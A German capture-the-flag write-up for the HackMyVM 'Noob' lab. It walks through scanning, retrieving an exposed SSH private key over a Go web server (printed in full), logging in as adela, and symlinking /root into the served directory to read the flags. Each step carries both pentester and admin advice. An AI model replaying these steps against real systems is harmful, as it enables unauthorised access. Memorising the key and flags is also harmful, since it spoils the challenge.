Noob - HackMyVM - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
nmap
gobuster
curl
vi
chmod
ssh
sudo
find
ln
ls
id
cat

Inhaltsverzeichnis

Reconnaissance

Analyse: Der Befehl `arp-scan -l` wird zur Identifizierung aktiver Hosts im lokalen Netzwerksegment verwendet.

Bewertung: Ein Host mit der IP `192.168.2.118` und der MAC-Adresse `08:00:27:87:da:b0` (VirtualBox) wird als Ziel identifiziert.

Empfehlung (Pentester): Führe einen Nmap-Scan auf 192.168.2.118 durch.
Empfehlung (Admin): Netzwerk-Monitoring.

┌──(root㉿cyber)-[~] └─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:xx:xx:xx, IPv4: 192.168.2.199
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.2.118	08:00:27:87:da:b0	PCS Systemtechnik GmbH

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 1.865 seconds (137.65 hosts/sec). 1 responded
                    

Analyse: Ein Nmap-Scan (`-sS -sC -T5 -A -p-`) wird auf 192.168.2.118 durchgeführt.

Bewertung: !!Ungewöhnliche Ports!!** - **Port 22 (SSH):** OpenSSH 7.9p1 (Debian). Standard-SSH-Port. - **Port 65530 (HTTP):** Ein Golang net/http Server läuft auf diesem sehr hohen Port. Dies ist unüblich und deutet auf eine benutzerdefinierte Anwendung oder Konfiguration hin. Keine anderen Ports sind offen. Das OS ist Linux, der Hostname ist `noob`.

Empfehlung (Pentester): Untersuche den Webserver auf dem hohen Port 65530 (Verzeichnisse, Funktionalität). Notiere SSH auf Port 22 als sekundäres Ziel.
Empfehlung (Admin): Überprüfe die Notwendigkeit und Sicherheit des Dienstes auf Port 65530. Verwende nach Möglichkeit Standardports und sichere die Anwendung ab.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -A 192.168.2.118 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-31 16:16 CET
Nmap scan report for noob (192.168.2.118)
Host is up (0.00015s latency).
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 66:6a:8e:22:cd:dd:75:52:a6:0a:46:06:bc:df:53:0f (RSA)
|   256 c2:48:46:33:d4:fa:c0:e7:df:de:54:71:58:89:36:e8 (ECDSA)
|_  256 5e:50:90:71:08:5a:88:62:7e:81:07:c3:9a:c1:c1:c6 (ED25519)
65530/tcp open  http    Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
MAC Address: 08:00:27:87:DA:B0 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.15 ms noob (192.168.2.118)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.91 seconds 
                     

Web Enumeration

Analyse: `gobuster` wird verwendet, um Verzeichnisse und Dateien auf dem Go-Webserver (Port 65530) zu finden.

Bewertung: Es wird nur ein einziger Endpunkt `/index` gefunden.

Empfehlung (Pentester): Rufe `/index` auf und untersuche den Inhalt.
Empfehlung (Admin): Keine spezifische Aktion.

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://192.168.2.118:65530 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -e -x .git,php,html,xml,zip,7z,tar,bak,sql,py,pl,txt,jpg,jpeg,png,js,aac,ogg,flac,alac,wav,aiff,war,jse,jar,asp,aspx,csv,rtf,doc,docx,dsd,mp3,mp4,mkv,log,sh,dll,exe,ico -b 404,403
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.2.118:65530
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Status codes to ignore:  404,403
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              ... (gekürzt) ...
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
2022/10/31 16:18:00 Starting gobuster 
===============================================================
http://192.168.2.118:65530/index                (Status: 200) [Size: 19]
===============================================================
2022/10/31 16:20:00 Finished 
===============================================================
                     

Analyse: Der Inhalt des `/index`-Endpunkts wird mit `curl` abgerufen.

Bewertung: Gibt nur einen kurzen Hinweis: "Hi, You are close!".

Empfehlung (Pentester): Untersuche die Anwendung weiter. Da es sich um einen Go-Server handelt, könnten Standardpfade oder -verhalten anders sein. Versuche, versteckte Parameter oder andere Endpunkte zu finden. Der Log springt zum nächsten Schritt, der einen spezifischen Pfad (`/nt4share/.ssh/`) zeigt – es fehlt der Schritt, wie dieser Pfad gefunden wurde. *Mögliche Annahme: Der Pfad wurde durch weitere, nicht gezeigte Enumeration, Raten von Standard-Go-Pfaden oder Analyse des Go-Binarys (falls zugänglich) gefunden.*
Empfehlung (Admin): Entferne Hinweise. Sichere die Go-Anwendung.

┌──(root㉿cyber)-[~] └─# curl http://192.168.2.118:65530/index
Hi, You are close!
                    

Information Disclosure

Analyse: Der Log zeigt direkt den Inhalt des öffentlichen SSH-Schlüssels unter dem Pfad `/nt4share/.ssh/id_rsa.pub` an, der über den Webserver auf Port 65530 abgerufen wurde. (Der Befehl `curl` fehlt hier, ist aber impliziert).

Bewertung: !!Benutzername & SSH-Schlüsselpfad gefunden!!** 1. **Pfad:** Der Pfad `/nt4share/.ssh/` deutet darauf hin, dass der Webserver möglicherweise auf ein Verzeichnis namens `nt4share` zugreift (vielleicht ein Mountpoint oder ein Verzeichnis im Home-Directory eines Benutzers?). Die Existenz eines `.ssh`-Verzeichnisses hier ist kritisch. 2. **Schlüssel:** Der öffentliche Schlüssel selbst enthält am Ende den Kommentar `adela@noob`, was den **Benutzernamen `adela`** und den Hostnamen `noob` preisgibt.

Empfehlung (Pentester): Versuche, den zugehörigen privaten Schlüssel (`id_rsa`) unter demselben Pfad (`/nt4share/.ssh/id_rsa`) abzurufen.
Empfehlung (Admin):**DRINGEND:** Konfiguriere den Webserver so, dass er **niemals** Zugriff auf `.ssh`-Verzeichnisse oder private Schlüsseldateien erlaubt. Überprüfe die Konfiguration des Go-Servers und dessen Basisverzeichnis.

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8ZepdREM4ou+KYXDsFPT9ZzQFF6dbSWuLpN6HFSNMrDcWBRvZp0
sAIK8NIMKYmQXqWToiELuBBkwYePYRrnMiAPQ4bjtgoDw3iZSJArUANN4mkkC63h3KNe8xJ02HD05FaqvVBwUG/1G
gb0i2Py2AAs4J7bITIpIYCzZ88Zc10unLNKVXkE207E7fAH3wRa/Q/DA6Mgh7tFhlKh90FX82Kp/q3yJLyH1gal
5z0BF4/039zR2wuFLTUDL1kZCImzEuH01Ls4aFuwwBE1iTR17yBY0z2GLDhNrtyFGCfylHTGA6KLgfug1yP2khYTs
kzzrZPunq160IlaoXvNZ adela@noob 
                     

Analyse: Der private Schlüssel wird erfolgreich mit `curl http://192.168.2.118:65530/nt4share/.ssh/id_rsa` abgerufen.

Bewertung: !!Kritische Sicherheitslücke: Privater Schlüssel exponiert!!** Der private SSH-Schlüssel für den Benutzer `adela` ist über den Webserver frei zugänglich. Dies ermöglicht einen direkten Login als dieser Benutzer.

Empfehlung (Pentester): Speichere den Schlüssel lokal (z.B. `idroot`), setze `chmod 600` und verwende ihn für den SSH-Login als `adela` auf Port 22.
Empfehlung (Admin):**DRINGEND:** Entferne den privaten Schlüssel sofort vom Webserver/exponierten Pfad. Widerrufe den Schlüssel auf allen Systemen, wo er verwendet wird. Korrigiere die Webserver-Konfiguration, um Zugriff auf sensible Verzeichnisse/Dateien zu verhindern.

┌──(root㉿cyber)-[~] └─# curl http://192.168.2.118:65530/nt4share/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEAvGXqXURDKLvimFw7BT0/Wc0BRenW0lri6TehxUjTKw3FgUb2adL
ACCvDSDCmJkFzqlk6IhC7gQZMGHj2Ea5zIgD0G47YKA8N4mUiQK1ADTeJpJAut4dyjXvM
SdNhw9RWqr1QcFBv9RoG9Itj8tgALCe2yEyKSDmAs2fPGXNdLpyzSlV5BNtx3wB98E
Wv0PwzgjIIe7RYTpSofdBV/Niqf6t8iS8h9YGpec9AReP9N/c0dsLhS01Ay9ZGQiJsxLh
9NS7GhbsMARNYk0de8gWNM9hiw4Ta7cjhRgn8pR0xgii4H7oNcj9pIWE7JM862T7p6te
tCJWqF7zWQAAA8h4t/eeLf3jgAAAAdzc2gtcnNhAAABAQC8ZepdREM4ou+KYXDsFPT9Zz
QFF6dbSWuLpN6HFSNMrDcWBRvZp0sAIK8NIMKYmQXqWToiELuBBkwYePYRrnMiAPQ4bjt
goDw3iZSJArUANN4mkkC63h3KNe8xJ02HD05FaqvVBwUG/1Ggb0i2Py2AAs4J7bITIpIY
CzZ88Zc10unLNKVXkE207E7fAH3wRa/Q/DA6Mgh7tFhlKh90FX82Kp/q3yJLyH1gal5z
0BF4/039zR2wuFLTUDL1kZCImzEuH01Ls4aFuwwBE1iTR17yBY0z2GLDhNrtyFGCfylHT
GA6KLgfug1yP2khYTskzzrZPunq160IlaoXvNZAAAAAwEAAQAAAQEAhYdujuA9DL1fLiNW
F93armghVKKpWhWU0ltdyyiMku1V2QTkzahT9vadmGLywBaP1mMbct2NKCvAb2/8aBf/
oDSl9R5PUkUpQBcSKekhhrygUATpN6dGp8TgzEqH9nXThgG5hvtkkIQJrf5P0KUCzDxu9
+7RUJlCrSX0AKjaCvN50kicRGts/uFYekJzetgIdtlQbeoK0BTgJxpDQ0xYFDeRnzI92
GQ+uTa8zdNbggFvgDNPDl9W1mX73uHxXttdoTj9mS/yA1KBlXmP9VIi+73xlhWbk5Iy+Xi
jWbjwq12J9xnApUXu496u/5yP55xlspn7cGV9ao7ahKQAAAIEAkvk/7XY0xTfnyTDsg6
6/gGiJik0oyhmx0ZlxrWGdqtiWgwjhq6Q4WMaJUU8AhBrm7lKCs7ykYt9oyBpJZ4TnHn+Q
gl08Wu/fhEZcj2+d7aKlWVDtUxWtAZZRDXGtfZkVTmJ5prQXFL2bMIyVsMB1M7dHTD3wk
p4nFFhoCZ2C0AAACBAPXq+8D1p3MApxtMDJ40trMTQ3HLWLXlVTuideUj5FnHDwF73gza
p3h6LXxH+yIHw/xzg0rKoV2ikfqQBU3wqunpLw5udzPLHm+PyTHH3WsjcieB99sFAvWc9g
ni/otpQQqRgB0I3rGMqiBCKyvb1sXF12SQ0lC4N7T5hRm9/m9PAAAAgQDEHzyLduguz77R
c1CLNFjPRlTnsi1xSP9Iz2SFl1vMd2J77RRrQNURtLZZcGgm7CL/fhTobau7neBq4+oVX
Izf0B4UUNnzL6iB0yn/tt+rBLw6ItVUj+rQmtI3i2aPVXDle1Xi5Fckm2QS343ThUq2lI9
7mtNUcmCNL6cczsI1wAAAAphZGVsYUBub29iAQIDBAUGBw==
-----END OPENSSH PRIVATE KEY-----
                     

Initial Access (adela)

Analyse: Der heruntergeladene private Schlüssel wird in `idroot` gespeichert und die Berechtigungen auf 600 gesetzt.

Bewertung: Korrekte Vorbereitung des Schlüssels für den SSH-Login.

Empfehlung (Pentester): Führe den SSH-Login durch.
Empfehlung (Admin): Keine Aktion.

┌──(root㉿cyber)-[~] └─# vi idroot
┌──(root㉿cyber)-[~] └─# chmod 600 idroot

Analyse: Eine SSH-Verbindung wird als Benutzer `adela` zum Ziel `noob.hmv` (192.168.2.118) aufgebaut, wobei der private Schlüssel `idroot` verwendet wird.

Bewertung: !!Initial Access erfolgreich!!** Der Login gelingt ohne Passphrase (der Schlüssel war ungeschützt). Der Angreifer hat nun eine Shell als Benutzer `adela`.

Empfehlung (Pentester): Beginne mit der Enumeration als `adela` (User-Flag, sudo, SUID etc.).
Empfehlung (Admin): Entferne den exponierten Schlüssel, widerrufe ihn, generiere neue Schlüssel. Sichere den Webserver.

┌──(root㉿cyber)-[~] └─# ssh -i idroot adela@noob.hmv
The authenticity of host 'noob.hmv (192.168.2.118)' can't be established.
ED25519 key fingerprint is SHA256:0ug88klEB+Auk3kP/jhWHJJZmKXY2RjjR4GnhZdYuQ.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'noob.hmv' (ED25519) to the list of known hosts.
Linux noob 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Jul 14 02:50:51 2021 from 192.168.1.51
adela@noob:~$ 
                     

Privilege Escalation (LFI via Symlink)

Analyse: Als `adela` wird `sudo -l` versucht und nach SUID-Binaries gesucht.

Bewertung: `sudo` ist nicht verfügbar. Die SUID-Suche findet nur Standard-Linux-Binaries, keinen offensichtlichen direkten Eskalationsvektor.

Empfehlung (Pentester): Untersuche die Konfiguration des Go-Webservers auf Port 65530 genauer. Da der Webserver offenbar auf das Verzeichnis `/nt4share/.ssh/` (oder ein übergeordnetes Verzeichnis) zugreifen kann, prüfe, ob man als `adela` in diesem Verzeichnis (oder einem davon aus erreichbaren Verzeichnis) Dateien oder Links erstellen kann.
Empfehlung (Admin): Keine Aktion basierend auf diesen Befehlen.

adela@noob:~$ sudo -l
-bash: sudo: command not found
adela@noob:~$ find / -type f -perm -4000 -ls 2>/dev/null
   62     84 -rwsr-xr-x   1 root     root        84016 Jul 27  2018 /usr/bin/gpasswd
 3562     64 -rwsr-xr-x   1 root     root        63568 Jan 10  2019 /usr/bin/su
 3890     36 -rwsr-xr-x   1 root     root        34888 Jan 10  2019 /usr/bin/umount
   60     44 -rwsr-xr-x   1 root     root        44528 Jul 27  2018 /usr/bin/chsh
 3888     52 -rwsr-xr-x   1 root     root        51280 Jan 10  2019 /usr/bin/mount
 3415     44 -rwsr-xr-x   1 root     root        44440 Jul 27  2018 /usr/bin/newgrp
   59     56 -rwsr-xr-x   1 root     root        54096 Jul 27  2018 /usr/bin/chfn
   63     64 -rwsr-xr-x   1 root     root        63736 Jul 27  2018 /usr/bin/passwd
15838    428 -rwsr-xr-x   1 root     root       436552 Jan 31  2020 /usr/lib/openssh/ssh-keysign
12491     52 -rwsr-xr--   1 root     messagebus    51184 Jul  5  2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
                      

Analyse: Als `adela` wird versucht, eigene Textdateien zu finden (findet keine) und dann wird ein symbolischer Link erstellt: `ln -s /root /home/adela`. Dieser Link namens `adela` im Verzeichnis `/home` zeigt auf das Root-Verzeichnis `/root` des Systems.

Bewertung: !!Schwachstelle ausgenutzt (LFI/Path Traversal via Symlink)!!** Dies ist der Kern der Eskalation. Der Angreifer nutzt die Tatsache aus, dass: 1. Der Go-Webserver auf Port 65530 wahrscheinlich das Verzeichnis `/home` (oder `/home/adela/nt4share`, der genaue Pfad ist unklar, aber `/home/adela` ist erreichbar) als Webroot oder Teil davon verwendet. 2. Der Webserver Symbolischen Links folgt. 3. Der Benutzer `adela` die Berechtigung hat, in `/home` (oder einem Unterverzeichnis davon, das vom Webserver erreicht wird) einen Symlink zu erstellen. Durch Erstellen des Symlinks `/home/adela` (oder z.B. `/home/adela/nt4share/rootlink`) der auf `/root` zeigt, wird der Inhalt von `/root` über den Webserver zugänglich gemacht.

Empfehlung (Pentester): Greife nun über den Webbrowser oder `curl` auf den Pfad zu, der dem Symlink entspricht, um auf `/root` zuzugreifen. Beispiel: `http://192.168.2.118:65530/adela/` (wenn `/home` der Webroot ist) oder `http://192.168.2.118:65530/nt4share/root/` (wie im nächsten Log-Eintrag gezeigt, was impliziert, dass der Symlink `root` hieß und in `/home/adela/nt4share` oder ähnlich erstellt wurde).
Empfehlung (Admin):**DRINGEND:** 1. Konfiguriere den Webserver (Nginx oder Go-Anwendung), um das Folgen von Symlinks außerhalb des vorgesehenen Webroots zu verhindern (z.B. `Options -FollowSymLinks` in Apache, entsprechende Einstellung in Nginx/Go). 2. Überprüfe die Basisverzeichnisse, die vom Webserver bedient werden, und stelle sicher, dass Benutzer keine Links in diesen Verzeichnissen erstellen können, die auf sensible Bereiche außerhalb des Webroots zeigen.

adela@noob:~$ find / -user adela -name *.txt 2>/dev/null

adela@noob:~$ ln -s /root /home/adela/rootlink 

adela@noob:~$ ln -s /root /home/adela/nt4share/root 
                      

Proof of Concept (Root Files Read)

Analyse: Der Angreifer greift über den Webserver auf den durch den Symlink zugänglich gemachten Pfad `/nt4share/root/` zu. Der Webserver listet den Inhalt des Root-Verzeichnisses (`/root`) auf.

Bewertung: Die LFI/Path Traversal Schwachstelle ist bestätigt. Der Inhalt von `/root` ist exponiert, einschließlich `root.txt` und `user.txt` (was ungewöhnlich ist, dass die User-Flag auch hier liegt).

Empfehlung (Pentester): Lese die Dateien `root.txt` und `user.txt` über die entsprechenden HTTP-URLs.
Empfehlung (Admin): Behebe die LFI/Path Traversal Schwachstelle wie oben beschrieben.

# Zugriff auf http://192.168.2.118:65530/nt4share/root/

.bashrc
.local/
.profile
.selected_editor
.ssh/
root.txt
user.txt
                     

Analyse: Die Root- und User-Flags werden direkt über HTTP durch Zugriff auf die entsprechenden Pfade via LFI gelesen.

Bewertung: !!Privilegieneskalation erfolgreich (File Read)!!** Obwohl kein direkter Shell-Zugriff als Root erlangt wurde, ermöglicht das Lesen beliebiger Dateien als Root (insbesondere der Root-Flag) den Abschluss der Challenge. Root-Flag: `HMVA97DSA8732HJGDSA78623`, User-Flag: `HMVVCXUIUHFDSUIYREWDS432`.

Empfehlung (Pentester): Test abgeschlossen.
Empfehlung (Admin):**DRINGEND:** Behebe die LFI-Schwachstelle und die exponierten SSH-Schlüssel.

# Zugriff auf http://192.168.2.118:65530/nt4share/root/root.txt
HMVA97DSA8732HJGDSA78623

# Zugriff auf http://192.168.2.118:65530/nt4share/root/user.txt
HMVVCXUIUHFDSUIYREWDS432
                     

Flags

curl http://192.168.2.118:65530/nt4share/root/root.txt
HMVA97DSA8732HJGDSA78623
curl http://192.168.2.118:65530/nt4share/root/user.txt
HMVVCXUIUHFDSUIYREWDS432